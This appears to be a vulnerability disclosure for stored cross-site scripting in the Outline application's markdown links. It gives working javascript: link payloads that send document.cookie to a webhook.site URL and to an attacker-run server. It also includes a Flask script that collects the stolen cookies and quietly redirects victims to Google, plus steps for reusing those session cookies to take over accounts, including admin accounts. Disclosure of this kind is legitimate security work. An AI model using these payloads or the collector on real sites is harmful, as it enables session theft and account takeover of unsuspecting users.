🔒️ Requirements

• Be able to edit or create documents.
• Click of a user on the link.

📝 Description

The markdown's link creation feature does not properly sanitize url input, which allows to use error event to execute javascript. Furthermore, due to a lack of HttpOnly flag on sessions cookie, it is possible to exfiltrate them via document.cookie variable to take over the other user's account.

The payload used is the following:

[XSS](javascript:window.onerror=window.location='https://webhook.site/09731cdb-80b0-47e8-a057-f86e939f1ad9?'+document.cookie)

🕵️‍♂️ Proof of Concept

Basic cookies exfiltration

• Step 1: go to webhook.site and take your unique URL.

• Step 2: create a document with the following content. (insert your unique url)

[XSS](javascript:window.onerror=window.location='{{YOUR-UNIQUE-URL}}?'+document.cookie)

• Step 3: publish the note, click on the link and go to webhook.site.

Before clicking:

After clicking:

Hidden cookies exfiltration

• Step 1: Run the following flask application.

from flask import Flask, redirect

# init
app = Flask(__name__)

@app.route("/<path:cookies>")
def index(cookies):
    print("\n\x1b[1m=== New victim cookies ===\x1b[0m")
    print(cookies, end="\n\n")
    return redirect("https://google.fr", 302)

if __name__ == "__main__":
    app.run("0.0.0.0", 8000)

• Step 2: from attacker's account, create a document with the following content. (insert your flask url)

[google.com](javascript:window.onerror=window.location='http://{{YOUR-FLASK-URL}}/'+document.cookie)

Victim point of view

Before clicking:

After clicking:

Attacker point of view

As you can see, the victim gets redirected to google.com without knowing that someone have stolen his cookies.

Use cookies

• Step 1: without closing the victim window, go to the outline login instance page.

• Step 2: add the session, XX cookies you own with the attack. (you can use Cookie-Editor extension to make it easier)

Victime home page:

Victim account settings:

Impact

An attacker could use this vulnerability to takeover an admin account and get access to all the features of the outline application.